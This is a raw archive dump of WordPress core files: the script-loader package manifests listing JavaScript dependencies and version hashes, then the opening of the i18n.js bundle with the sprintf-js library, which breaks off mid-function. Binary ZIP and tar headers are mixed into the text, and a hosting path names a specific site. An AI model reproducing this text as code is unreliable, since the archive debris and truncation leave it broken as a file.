array('dependencies' => array(), 'version' => '93558693d672af42c190'), 'format-library.js' => array('dependencies' => array('react-jsx-runtime', 'wp-a11y', 'wp-block-editor', 'wp-components', 'wp-data', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-primitives', 'wp-private-apis', 'wp-rich-text', 'wp-url'), 'version' => '36151f5b565e0cdf6ddc'), 'hooks.js' => array('dependencies' => array(), 'version' => 'be67dc331e61e06d52fa'), 'html-entities.js' => array('dependencies' => array(), 'version' => '0d1913e5b8fb9137bad2'), 'i18n.js' => array('dependencies' => array('wp-hooks'), 'version' => '5edc734adb78e0d7d00e'), 'is-shallow-equal.js' => array('dependencies' => array(), 'version' => '58ed73f7376c883f832b'), 'keyboard-shortcuts.js' => array('dependencies' => array('react-jsx-runtime', 'wp-data', 'wp-element', 'wp-keycodes'), 'version' => 'c0e19c4aa8550cb4f71d'), 'keycodes.js' => array('dependencies' => array('wp-i18n'), 'version' => '2bad5660ad4ebde6540c'), 'list-reusable-blocks.js' => array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-blob', 'wp-components', 'wp-compose', 'wp-element', 'wp-i18n'), 'version' => 'ad48bd203f06c82d4c77'), 'media-utils.js' => array('dependencies' => array('wp-api-fetch', 'wp-blob', 'wp-element', 'wp-i18n', 'wp-private-apis'), 'version' => '6c862a9b6eee311930ac'), 'notices.js' => array('dependencies' => array('wp-data'), 'version' => 'bb7ea4346f0c7a77df98'), 'nux.js' => array('dependencies' => array('react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => 'a8290a113a755fbd665b'), 'patterns.js' => array('dependencies' => array('react-jsx-runtime', 'wp-a11y', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-private-apis', 'wp-url'), 'version' => 'ea1ca8506283289a8aeb'), 'plugins.js' => array('dependencies' => array('react-jsx-runtime', 'wp-compose', 'wp-deprecated', 'wp-element', 'wp-hooks', 'wp-is-shallow-equal', 'wp-primitives'), 'version' => '7313a68349c296697e15'), 'preferences.js' => array('dependencies' => array('react-jsx-runtime', 'wp-a11y', 'wp-components', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-element', 'wp-i18n', 'wp-primitives', 'wp-private-apis'), 'version' => 'f49ac7669ac11f416b6f'), 'preferences-persistence.js' => array('dependencies' => array('wp-api-fetch'), 'version' => 'a5baddbc610561581693'), 'primitives.js' => array('dependencies' => array('react-jsx-runtime', 'wp-element'), 'version' => '66632613c3c6b0ed6f76'), 'priority-queue.js' => array('dependencies' => array(), 'version' => 'be4e4334602693fa7256'), 'private-apis.js' => array('dependencies' => array(), 'version' => '18ea1d568a3bfd485afb'), 'redux-routine.js' => array('dependencies' => array(), 'version' => '9473249104d09cb1245d'), 'reusable-blocks.js' => array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url'), 'version' => '03eefa7ca729412606a7'), 'rich-text.js' => array('dependencies' => array('wp-a11y', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-element', 'wp-escape-html', 'wp-i18n', 'wp-keycodes'), 'version' => 'bc76e6f025d3556aa54a'), 'router.js' => array('dependencies' => array('react-jsx-runtime', 'wp-compose', 'wp-element', 'wp-polyfill', 'wp-private-apis', 'wp-url'), 'version' => '99ea3f320332583c3e5c'), 'server-side-render.js' => array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => '5058284dc05b1b1b2661'), 'shortcode.js' => array('dependencies' => array(), 'version' => '37060a10de8dd991d95d'), 'style-engine.js' => array('dependencies' => array(), 'version' => '95bc9b8c9f4f0e8a6423'), 'token-list.js' => array('dependencies' => array(), 'version' => '09fdc83606f766278b8b'), 'url.js' => array('dependencies' => array('wp-polyfill'), 'version' => '0d5442d059e14ea1b21e'), 'viewport.js' => array('dependencies' => array('react-jsx-runtime', 'wp-compose', 'wp-data'), 'version' => '82036eb97185ee78762b'), 'warning.js' => array('dependencies' => array(), 'version' => '4ecd4ff4d8fa94314090'), 'widgets.js' => array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-polyfill', 'wp-primitives'), 'version' => 'b2d3d6f0ca283bd27cbc'), 'wordcount.js' => array('dependencies' => array(), 'version' => 'f5354b03b95c624877fb'));
PK�Ue[r�i/11script-loader-packages.min.phpnu�[���<?php return array('a11y.min.js' => array('dependencies' => array('wp-dom-ready', 'wp-i18n'), 'version' => '3156534cc54473497e14'), 'annotations.min.js' => array('dependencies' => array('wp-data', 'wp-hooks', 'wp-i18n', 'wp-rich-text'), 'version' => '238360e96c76d37a2468'), 'api-fetch.min.js' => array('dependencies' => array('wp-i18n', 'wp-url'), 'version' => '3623a576c78df404ff20'), 'autop.min.js' => array('dependencies' => array(), 'version' => '9fb50649848277dd318d'), 'blob.min.js' => array('dependencies' => array('wp-polyfill'), 'version' => '9113eed771d446f4a556'), 'block-directory.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-notices', 'wp-plugins', 'wp-primitives', 'wp-url'), 'version' => '5cecf7d562a5ae133696'), 'block-editor.min.js' => array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-blob', 'wp-block-serialization-default-parser', 'wp-blocks', 'wp-commands', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-notices', 'wp-polyfill', 'wp-preferences', 'wp-primitives', 'wp-priority-queue', 'wp-private-apis', 'wp-rich-text', 'wp-style-engine', 'wp-token-list', 'wp-url', 'wp-warning'), 'version' => 'b3b0b55b35e04df52f7c'), 'block-library.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-autop', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-escape-html', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-notices', 'wp-patterns', 'wp-polyfill', 'wp-primitives', 'wp-private-apis', 'wp-rich-text', 'wp-server-side-render', 'wp-url', 'wp-wordcount'), 'version' => '345e81712b7dbb2f48dc'), 'block-serialization-default-parser.min.js' => array('dependencies' => array(), 'version' => '14d44daebf663d05d330'), 'blocks.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-autop', 'wp-blob', 'wp-block-serialization-default-parser', 'wp-data', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-polyfill', 'wp-private-apis', 'wp-rich-text', 'wp-shortcode', 'wp-warning'), 'version' => '84530c06a3c62815b497'), 'commands.min.js' => array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-primitives', 'wp-private-apis'), 'version' => '14ee29ad1743be844b11'), 'components.min.js' => array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-a11y', 'wp-compose', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-escape-html', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keycodes', 'wp-primitives', 'wp-private-apis', 'wp-rich-text', 'wp-warning'), 'version' => '865f2ec3b5f5195705e0'), 'compose.min.js' => array('dependencies' => array('react', 'react-jsx-runtime', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-is-shallow-equal', 'wp-keycodes', 'wp-priority-queue'), 'version' => '84bcf832a5c99203f3db'), 'core-commands.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-commands', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-private-apis', 'wp-router', 'wp-url'), 'version' => 'afcb83dba96ea45361e9'), 'core-data.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-private-apis', 'wp-rich-text', 'wp-url', 'wp-warning'), 'version' => '64479bc080c558e99158'), 'customize-widgets.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-media-utils', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-widgets'), 'version' => '42a5462097681fd98f6f'), 'data.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-compose', 'wp-deprecated', 'wp-element', 'wp-is-shallow-equal', 'wp-priority-queue', 'wp-private-apis', 'wp-redux-routine'), 'version' => 'fe6c4835cd00e12493c3'), 'data-controls.min.js' => array('dependencies' => array('wp-api-fetch', 'wp-data', 'wp-deprecated'), 'version' => '49f5587e8b90f9e7cc7e'), 'date.min.js' => array('dependencies' => array('moment', 'wp-deprecated'), 'version' => '85ff222add187a4e358f'), 'deprecated.min.js' => array('dependencies' => array('wp-hooks'), 'version' => 'e1f84915c5e8ae38964c'), 'dom.min.js' => array('dependencies' => array('wp-deprecated'), 'version' => '80bd57c84b45cf04f4ce'), 'dom-ready.min.js' => array('dependencies' => array(), 'version' => 'f77871ff7694fffea381'), 'edit-post.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-commands', 'wp-components', 'wp-compose', 'wp-core-commands', 'wp-core-data', 'wp-data', 'wp-deprecated', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-notices', 'wp-plugins', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-url', 'wp-widgets'), 'version' => 'd92354a82041cfd9f542'), 'edit-site.min.js' => array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-blob', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-commands', 'wp-components', 'wp-compose', 'wp-core-commands', 'wp-core-data', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-media-utils', 'wp-notices', 'wp-patterns', 'wp-plugins', 'wp-polyfill', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-router', 'wp-url', 'wp-warning', 'wp-widgets'), 'version' => '4cfd4c6e8c033bb1b61a'), 'edit-widgets.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-media-utils', 'wp-notices', 'wp-patterns', 'wp-plugins', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-url', 'wp-viewport', 'wp-widgets'), 'version' => '9a04bb29c0759b535e9e'), 'editor.min.js' => array('dependencies' => array('react', 'react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-commands', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-media-utils', 'wp-notices', 'wp-patterns', 'wp-plugins', 'wp-polyfill', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-rich-text', 'wp-server-side-render', 'wp-url', 'wp-viewport', 'wp-warning', 'wp-wordcount'), 'version' => 'e143f7bc0f4773342f31'), 'element.min.js' => array('dependencies' => array('react', 'react-dom', 'wp-escape-html'), 'version' => 'a4eeeadd23c0d7ab1d2d'), 'escape-html.min.js' => array('dependencies' => array(), 'version' => '6561a406d2d232a6fbd2'), 'format-library.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-a11y', 'wp-block-editor', 'wp-components', 'wp-data', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-primitives', 'wp-private-apis', 'wp-rich-text', 'wp-url'), 'version' => 'f813b03986e369dad65e'), 'hooks.min.js' => array('dependencies' => array(), 'version' => '4d63a3d491d11ffd8ac6'), 'html-entities.min.js' => array('dependencies' => array(), 'version' => '2cd3358363e0675638fb'), 'i18n.min.js' => array('dependencies' => array('wp-hooks'), 'version' => '5e580eb46a90c2b997e6'), 'is-shallow-equal.min.js' => array('dependencies' => array(), 'version' => 'e0f9f1d78d83f5196979'), 'keyboard-shortcuts.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-data', 'wp-element', 'wp-keycodes'), 'version' => '32686e58e84193ce808b'), 'keycodes.min.js' => array('dependencies' => array('wp-i18n'), 'version' => '034ff647a54b018581d3'), 'list-reusable-blocks.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-blob', 'wp-components', 'wp-compose', 'wp-element', 'wp-i18n'), 'version' => 'ece12b3c74315b4175ef'), 'media-utils.min.js' => array('dependencies' => array('wp-api-fetch', 'wp-blob', 'wp-element', 'wp-i18n', 'wp-private-apis'), 'version' => 'c3dd622ad8417c2d4474'), 'notices.min.js' => array('dependencies' => array('wp-data'), 'version' => '673a68a7ac2f556ed50b'), 'nux.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '9a0dc535fe222ae46a48'), 'patterns.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-a11y', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-private-apis', 'wp-url'), 'version' => '6497476653868ae9d711'), 'plugins.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-compose', 'wp-deprecated', 'wp-element', 'wp-hooks', 'wp-is-shallow-equal', 'wp-primitives'), 'version' => '20303a2de19246c83e5a'), 'preferences.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-a11y', 'wp-components', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-element', 'wp-i18n', 'wp-primitives', 'wp-private-apis'), 'version' => '4aa23582b858c882a887'), 'preferences-persistence.min.js' => array('dependencies' => array('wp-api-fetch'), 'version' => '9307a8c9e3254140a223'), 'primitives.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-element'), 'version' => 'aef2543ab60c8c9bb609'), 'priority-queue.min.js' => array('dependencies' => array(), 'version' => '9c21c957c7e50ffdbf48'), 'private-apis.min.js' => array('dependencies' => array(), 'version' => '0f8478f1ba7e0eea562b'), 'redux-routine.min.js' => array('dependencies' => array(), 'version' => '8bb92d45458b29590f53'), 'reusable-blocks.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url'), 'version' => '73735a77e4e5095733da'), 'rich-text.min.js' => array('dependencies' => array('wp-a11y', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-element', 'wp-escape-html', 'wp-i18n', 'wp-keycodes'), 'version' => '74178fc8c4d67d66f1a8'), 'router.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-compose', 'wp-element', 'wp-polyfill', 'wp-private-apis', 'wp-url'), 'version' => 'e41607ae499191e0cb49'), 'server-side-render.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => '345a014347e34be995f0'), 'shortcode.min.js' => array('dependencies' => array(), 'version' => 'b7747eee0efafd2f0c3b'), 'style-engine.min.js' => array('dependencies' => array(), 'version' => '08cc10e9532531e22456'), 'token-list.min.js' => array('dependencies' => array(), 'version' => '3b5f5dcfde830ecef24f'), 'url.min.js' => array('dependencies' => array('wp-polyfill'), 'version' => 'c2964167dfe2477c14ea'), 'viewport.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-compose', 'wp-data'), 'version' => '829c9a30d366e1e5054c'), 'warning.min.js' => array('dependencies' => array(), 'version' => 'ed7c8b0940914f4fe44b'), 'widgets.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-polyfill', 'wp-primitives'), 'version' => '0b561f75d41627a9d110'), 'wordcount.min.js' => array('dependencies' => array(), 'version' => '55d8c2bf3dc99e7ea5ec'));
PK�Ue[�֍�TT'script-loader-react-refresh-runtime.phpnu�[���<?php return array('dependencies' => array(), 'version' => '8f1acdfb845f670b0ef2');
PK�Ue['K�nn)script-loader-react-refresh-entry.min.phpnu�[���<?php return array('dependencies' => array('wp-react-refresh-runtime'), 'version' => '461b2e321e6e009f2209');
PK�Ue[�wOKscript-modules-packages.phpnu�[���<?php return array('interactivity/index.js' => array('dependencies' => array(), 'version' => '48fc4752aca8f8795ca8', 'type' => 'module'), 'interactivity/debug.js' => array('dependencies' => array(), 'version' => 'beb31ebdbe898d3dd230', 'type' => 'module'), 'interactivity-router/index.js' => array('dependencies' => array('@wordpress/interactivity', array('id' => '@wordpress/a11y', 'import' => 'dynamic')), 'version' => '549bd2787122793df49c', 'type' => 'module'), 'a11y/index.js' => array('dependencies' => array(), 'version' => '2a5dd8e0f11b6868f8cf', 'type' => 'module'), 'block-library/file/view.js' => array('dependencies' => array('@wordpress/interactivity'), 'version' => 'e925ab60cccb6624004c', 'type' => 'module'), 'block-library/form/view.js' => array('dependencies' => array('wp-polyfill'), 'version' => '025c7429344421ccb2ef', 'type' => 'module'), 'block-library/image/view.js' => array('dependencies' => array('@wordpress/interactivity'), 'version' => '23364a7b9437dd6c3319', 'type' => 'module'), 'block-library/navigation/view.js' => array('dependencies' => array('@wordpress/interactivity'), 'version' => '0735c27ca16ce2f60efd', 'type' => 'module'), 'block-library/query/view.js' => array('dependencies' => array('@wordpress/interactivity', array('id' => '@wordpress/interactivity-router', 'import' => 'dynamic')), 'version' => '6ac3e743320307785d41', 'type' => 'module'), 'block-library/search/view.js' => array('dependencies' => array('@wordpress/interactivity'), 'version' => 'e7b1695e621770b7ebb8', 'type' => 'module'));
PK�Ue[�֍�TT+script-loader-react-refresh-runtime.min.phpnu�[���<?php return array('dependencies' => array(), 'version' => '8f1acdfb845f670b0ef2');
PK�Ue[�#��--script-modules-packages.min.phpnu�[���<?php return array('interactivity/index.min.js' => array('dependencies' => array(), 'version' => '55aebb6e0a16726baffb', 'type' => 'module'), 'interactivity/debug.min.js' => array('dependencies' => array(), 'version' => 'a5c279b9ad67f2a4e6e2', 'type' => 'module'), 'interactivity-router/index.min.js' => array('dependencies' => array('@wordpress/interactivity', array('id' => '@wordpress/a11y', 'import' => 'dynamic')), 'version' => 'dc4a227f142d2e68ef83', 'type' => 'module'), 'a11y/index.min.js' => array('dependencies' => array(), 'version' => 'b7d06936b8bc23cff2ad', 'type' => 'module'), 'block-library/file/view.min.js' => array('dependencies' => array('@wordpress/interactivity'), 'version' => 'fdc2f6842e015af83140', 'type' => 'module'), 'block-library/form/view.min.js' => array('dependencies' => array('wp-polyfill'), 'version' => 'baaf25398238b4f2a821', 'type' => 'module'), 'block-library/image/view.min.js' => array('dependencies' => array('@wordpress/interactivity'), 'version' => 'e38a2f910342023b9d19', 'type' => 'module'), 'block-library/navigation/view.min.js' => array('dependencies' => array('@wordpress/interactivity'), 'version' => '61572d447d60c0aa5240', 'type' => 'module'), 'block-library/query/view.min.js' => array('dependencies' => array('@wordpress/interactivity', array('id' => '@wordpress/interactivity-router', 'import' => 'dynamic')), 'version' => 'f55e93a1ad4806e91785', 'type' => 'module'), 'block-library/search/view.min.js' => array('dependencies' => array('@wordpress/interactivity'), 'version' => '208bf143e4074549fa89', 'type' => 'module'));
PK�Ue['K�nn%script-loader-react-refresh-entry.phpnu�[���PK�Ue[�+ߋ00�script-loader-packages.phpnu�[���PK�Ue[r�i/11(1script-loader-packages.min.phpnu�[���PK�Ue[�֍�TT'}bscript-loader-react-refresh-runtime.phpnu�[���PK�Ue['K�nn)(cscript-loader-react-refresh-entry.min.phpnu�[���PK�Ue[�wOK�cscript-modules-packages.phpnu�[���PK�Ue[�֍�TT+?jscript-loader-react-refresh-runtime.min.phpnu�[���PK�Ue[�#��--�jscript-modules-packages.min.phpnu�[���PKjq14338/i18n.js.tar000064400000144000151024420100007114 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/js/dist/i18n.js000064400000140733151024365510024062 0ustar00/******/ (() => { // webpackBootstrap
/******/ 	var __webpack_modules__ = ({

/***/ 2058:
/***/ ((module, exports, __webpack_require__) => {

var __WEBPACK_AMD_DEFINE_RESULT__;/* global window, exports, define */

!function() {
    'use strict'

    var re = {
        not_string: /[^s]/,
        not_bool: /[^t]/,
        not_type: /[^T]/,
        not_primitive: /[^v]/,
        number: /[diefg]/,
        numeric_arg: /[bcdiefguxX]/,
        json: /[j]/,
        not_json: /[^j]/,
        text: /^[^\x25]+/,
        modulo: /^\x25{2}/,
        placeholder: /^\x25(?:([1-9]\d*)\$|\(([^)]+)\))?(\+)?(0|'[^$])?(-)?(\d+)?(?:\.(\d+))?([b-gijostTuvxX])/,
        key: /^([a-z_][a-z_\d]*)/i,
        key_access: /^\.([a-z_][a-z_\d]*)/i,
        index_access: /^\[(\d+)\]/,
        sign: /^[+-]/
    }

    function sprintf(key) {
        // `arguments` is not an array, but should be fine for this call
        return sprintf_format(sprintf_parse(key), arguments)
    }

    function vsprintf(fmt, argv) {
        return sprintf.apply(null, [fmt].concat(argv || []))
    }

    function sprintf_format(parse_tree, argv) {
        var cursor = 1, tree_length = parse_tree.length, arg, output = '', i, k, ph, pad, pad_character, pad_length, is_positive, sign
        for (i = 0; i < tree_length; i++) {
            if (typeof parse_tree[i] === 'string') {
                output += parse_tree[i]
            }
            else if (typeof parse_tree[i] === 'object') {
                ph = parse_tree[i] // convenience purposes only
                if (ph.keys) { // keyword argument
                    arg = argv[cursor]
                    for (k = 0; k < ph.keys.length; k++) {
                        if (arg == undefined) {
                            throw new Error(sprintf('[sprintf] Cannot access property "%s" of undefined value "%s"', ph.keys[k], ph.keys[k-1]))
                        }
                        arg = arg[ph.keys[k]]
                    }
                }
                else if (ph.param_no) { // positional argument (explicit)
                    arg = argv[ph.param_no]
                }
                else { // positional argument (implicit)
                    arg = argv[cursor++]
                }

                if (re.not_type.test(ph.type) && re.not_primitive.test(ph.type) && arg instanceof Function) {
                    arg = arg()
                }

                if (re.numeric_arg.test(ph.type) && (typeof arg !== 'number' && isNaN(arg))) {
                    throw new TypeError(sprintf('[sprintf] expecting number but found %T', arg))
                }

                if (re.number.test(ph.type)) {
                    is_positive = arg >= 0
                }

                switch (ph.type) {
                    case 'b':
                        arg = parseInt(arg, 10).toString(2)
                        break
                    case 'c':
                        arg = String.fromCharCode(parseInt(arg, 10))
                        break
                    case 'd':
                    case 'i':
                        arg = parseInt(arg, 10)
                        break
                    case 'j':
                        arg = JSON.stringify(arg, null, ph.width ? parseInt(ph.width) : 0)
                        break
                    case 'e':
                        arg = ph.precision ? parseFloat(arg).toExponential(ph.precision) : parseFloat(arg).toExponential()
                        break
                    case 'f':
                        arg = ph.precision ? parseFloat(arg).toFixed(ph.precision) : parseFloat(arg)
                        break
                    case 'g':
                        arg = ph.precision ? String(Number(arg.toPrecision(ph.precision))) : parseFloat(arg)
                        break
                    case 'o':
                        arg = (parseInt(arg, 10) >>> 0).toString(8)
                        break
                    case 's':
                        arg = String(arg)
                        arg = (ph.precision ? arg.substring(0, ph.precision) : arg)
                        break
                    case 't':
                        arg = String(!!arg)
                        arg = (ph.precision ? arg.substring(0, ph.precision) : arg)
                        break
                    case 'T':
                        arg = Object.prototype.toString.call(arg).slice(8, -1).toLowerCase()
                        arg = (ph.precision ? arg.substring(0, ph.precision) : arg)
                        break
                    case 'u':
                        arg = parseInt(arg, 10) >>> 0
                        break
                    case 'v':
                        arg = arg.valueOf()
                        arg = (ph.precision ? arg.substring(0, ph.precision) : arg)
                        break
                    case 'x':
                        arg = (parseInt(arg, 10) >>> 0).toString(16)
                        break
                    case 'X':
                        arg = (parseInt(arg, 10) >>> 0).toString(16).toUpperCase()
                        break
                }
                if (re.json.test(ph.type)) {
                    output += arg
                }
                else {
                    if (re.number.test(ph.type) && (!is_positive || ph.sign)) {
                        sign = is_positive ? '+' : '-'
                        arg = arg.toString().replace(re.sign, '')
                    }
                    else {
                        sign = ''
                    }
                    pad_character = ph.pad_char ? ph.pad_char === '0' ? '0' : ph.pad_char.charAt(1) : ' '
                    pad_length = ph.width - (sign + arg).length
                    pad = ph.width ? (pad_length > 0 ? pad_character.repeat(pad_length) : '') : ''
                    output += ph.align ? sign + arg + pad : (pad_character === '0' ? sign + pad + arg : pad + sign + arg)
                }
            }
        }
        return output
    }

    var sprintf_cache = Object.create(null)

    function sprintf_parse(fmt) {
        if (sprintf_cache[fmt]) {
            return sprintf_cache[fmt]
        }

        var _fmt = fmt, match, parse_tree = [], arg_names = 0
        while (_fmt) {
            if ((match = re.text.exec(_fmt)) !== null) {
                parse_tree.push(match[0])
            }
            else if ((match = re.modulo.exec(_fmt)) !== null) {
                parse_tree.push('%')
            }
            else if ((match = re.placeholder.exec(_fmt)) !== null) {
                if (match[2]) {
                    arg_names |= 1
                    var field_list = [], replacement_field = match[2], field_match = []
                    if ((field_match = re.key.exec(replacement_field)) !== null) {
                        field_list.push(field_match[1])
                        while ((replacement_field = replacement_field.substring(field_match[0].length)) !== '') {
                            if ((field_match = re.key_access.exec(replacement_field)) !== null) {
                                field_list.push(field_match[1])
                            }
                            else if ((field_match = re.index_access.exec(replacement_field)) !== null) {
                                field_list.push(field_match[1])
                            }
                            else {
                                throw new SyntaxError('[sprintf] failed to parse named argument key')
                            }
                        }
                    }
                    else {
                        throw new SyntaxError('[sprintf] failed to parse named argument key')
                    }
                    match[2] = field_list
                }
                else {
                    arg_names |= 2
                }
                if (arg_names === 3) {
                    throw new Error('[sprintf] mixing positional and named placeholders is not (yet) supported')
                }

                parse_tree.push(
                    {
                        placeholder: match[0],
                        param_no:    match[1],
                        keys:        match[2],
                        sign:        match[3],
                        pad_char:    match[4],
                        align:       match[5],
                        width:       match[6],
                        precision:   match[7],
                        type:        match[8]
                    }
                )
            }
            else {
                throw new SyntaxError('[sprintf] unexpected placeholder')
            }
            _fmt = _fmt.substring(match[0].length)
        }
        return sprintf_cache[fmt] = parse_tree
    }

    /**
     * export to either browser or node.js
     */
    /* eslint-disable quote-props */
    if (true) {
        exports.sprintf = sprintf
        exports.vsprintf = vsprintf
    }
    if (typeof window !== 'undefined') {
        window['sprintf'] = sprintf
        window['vsprintf'] = vsprintf

        if (true) {
            !(__WEBPACK_AMD_DEFINE_RESULT__ = (function() {
                return {
                    'sprintf': sprintf,
                    'vsprintf': vsprintf
                }
            }).call(exports, __webpack_require__, exports, module),
		__WEBPACK_AMD_DEFINE_RESULT__ !== undefined && (module.exports = __WEBPACK_AMD_DEFINE_RESULT__))
        }
    }
    /* eslint-enable quote-props */
}(); // eslint-disable-line


/***/ })

/******/ 	});
/************************************************************************/
/******/ 	// The module cache
/******/ 	var __webpack_module_cache__ = {};
/******/ 	
/******/ 	// The require function
/******/ 	function __webpack_require__(moduleId) {
/******/ 		// Check if module is in cache
/******/ 		var cachedModule = __webpack_module_cache__[moduleId];
/******/ 		if (cachedModule !== undefined) {
/******/ 			return cachedModule.exports;
/******/ 		}
/******/ 		// Create a new module (and put it into the cache)
/******/ 		var module = __webpack_module_cache__[moduleId] = {
/******/ 			// no module.id needed
/******/ 			// no module.loaded needed
/******/ 			exports: {}
/******/ 		};
/******/ 	
/******/ 		// Execute the module function
/******/ 		__webpack_modules__[moduleId](module, module.exports, __webpack_require__);
/******/ 	
/******/ 		// Return the exports of the module
/******/ 		return module.exports;
/******/ 	}
/******/ 	
/************************************************************************/
/******/ 	/* webpack/runtime/compat get default export */
/******/ 	(() => {
/******/ 		// getDefaultExport function for compatibility with non-harmony modules
/******/ 		__webpack_require__.n = (module) => {
